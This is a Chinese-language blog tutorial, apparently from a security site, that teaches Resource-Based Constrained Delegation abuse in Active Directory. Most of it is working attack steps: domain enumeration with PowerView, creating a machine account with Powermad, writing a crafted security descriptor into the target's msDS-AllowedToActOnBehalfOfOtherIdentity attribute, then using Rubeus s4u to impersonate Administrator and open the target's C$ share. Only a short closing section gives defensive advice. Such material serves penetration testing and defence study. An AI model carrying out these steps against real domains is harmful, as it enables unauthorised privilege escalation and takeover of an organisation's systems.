怎样RBCD使用教程

极客

怎样RBCD使用教程:手把手教你玩转基于资源的约束委派,干货满满!

大家好呀!今天咱们来聊一个可能让不少搞渗透测试或者AD域安全的朋友既爱又恨的话题——怎样RBCD使用教程,说实话,我第一次接触RBCD(Resource-Based Constrained Delegation,基于资源的约束委派)的时候,那叫一个头大啊!各种概念堆在一起,什么委派、什么SPN、什么机器账户,简直要命,但是呢,经过一番折腾和踩坑之后,我终于把它给摸透了,所以今天这篇文章,我就用最接地气的方式,跟大家好好唠唠这个RBCD到底怎么用,保证你看完能上手操作!

怎样RBCD使用教程

RBCD是个啥?为啥要学它?

先别急着动手,咱们得把概念搞清楚对吧?RBCD其实就是Windows AD域里面的一种委派机制,传统的约束委派是“用户A可以 impersonate 用户去访问服务B”,而RBCD反过来——是“服务B可以决定谁可以来 impersonate 自己”,哎,这么一说是不是有点绕?简单点讲,就是资源的拥有者可以控制谁能委派到它

那为啥我们要学怎样RBCD使用教程呢?因为在实战中,RBCD经常被用来做权限提升和横向移动,比如说你拿到了一个机器账户的控制权,就可以通过修改RBCD属性,让这个机器账户去委派访问域控,从而实现提权,听起来是不是很刺激?嘿嘿,别急,咱们一步步来。

前置条件,你得先有这些

在开始怎样RBCD使用教程之前,你得确保环境里有这些条件:

  1. 一个域环境(这个不用多说吧,没域玩啥RBCD)
  2. 一个你可以控制的账户,最好是有SeMachineAccountPrivilege权限的,或者你已经拿到了某个机器账户的hash
  3. 域控的访问权限,至少能查询和修改AD对象的属性
  4. 工具:PowerShell(必须的)、RubeusPowerViewBloodHound(可选但强烈推荐)

哦对了,还有一点很重要——你需要有写入目标计算机对象msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,这个属性就是RBCD的核心,没有它啥都干不了。

怎样RBCD使用教程:实战步骤

好了好了,我知道你们等不及了,下面就是重头戏——怎样RBCD使用教程的具体操作步骤,我会尽量写得详细一点,你们跟着做就行。

步骤1:信息收集,找准目标

你得知道域里有啥,用PowerView跑一下:

Get-NetComputer | select name, dnshostname
Get-NetUser | select name, samaccountname

或者直接上BloodHound,看看哪些机器是你有写入权限的,这一步很重要啊,别瞎搞,不然打草惊蛇就不好了。

步骤2:创建一个机器账户(或者用现有的)

如果你没有机器账户,可以用Powermad创建一个:

New-MachineAccount -MachineAccount RBCBTest -Password $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force)

哎呀,这里要注意,创建机器账户需要SeMachineAccountPrivilege权限,一般域用户默认就有(默认配额是10个),如果你没有,那就得想别的办法了。

步骤3:配置RBCD属性

这一步是关键!我们要把刚才创建的机器账户的SID写到目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性里,用PowerView:

$MachineSID = Get-DomainComputer -Identity RBCBTest | select -ExpandProperty objectsid
$TargetComputer = Get-DomainComputer -Identity TargetMachine
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$MachineSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity $TargetComputer -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}

哇,这一串命令看起来是不是有点晕?其实核心就是构造一个安全描述符,把机器账户的SID加进去,然后写入目标属性,搞定之后,RBCD就配置好了!

步骤4:获取服务票据

我们用Rubeus来请求一个票据:

Rubeus.exe s4u /user:RBCBTest$ /password:P@ssw0rd123 /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.domain.com /ptt

这里的/impersonateuser是你要模拟的用户,一般选Administrator或者域管。/msdsspn是目标服务的SPN,执行成功后,票据就注入到当前会话了。

步骤5:访问目标资源

最后一步,直接访问目标机器的CIFS共享:

dir \\TargetMachine.domain.com\c$

如果一切顺利,你就能看到目标机器的C盘内容了!哈哈,是不是很有成就感?

常见坑点与注意事项

哎呀,我知道你们实际操作的时候肯定会遇到各种问题,我这里列几个常见的坑:

  1. 权限不够:如果你没有写入目标机器属性的权限,那就别想了,先用BloodHound看看有没有GenericWrite或者WriteDacl权限。
  2. SPN问题:目标机器必须有SPN,否则S4U2Self会失败,可以用setspn -L TargetMachine检查一下。
  3. 票据缓存:有时候票据没注入成功,记得用klist查看一下。
  4. 防火墙:别笑,真的有人被防火墙坑了,CIFS端口没开啥都别谈。

防御建议(正经脸)

虽然咱们是在学攻击技术,但防御也得懂一点对吧?要防止RBCD被滥用,管理员应该:

  • 定期审计msDS-AllowedToActOnBehalfOfOtherIdentity属性
  • 限制普通用户创建机器账户的权限
  • 监控异常的S4U请求

好了,今天的怎样RBCD使用教程就到这里啦!希望这篇文章能帮到正在研究AD域安全的你,记住啊,技术是用来提升安全的,别拿去干坏事哦!如果觉得有用,记得分享给朋友,咱们下期再见!拜拜~

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]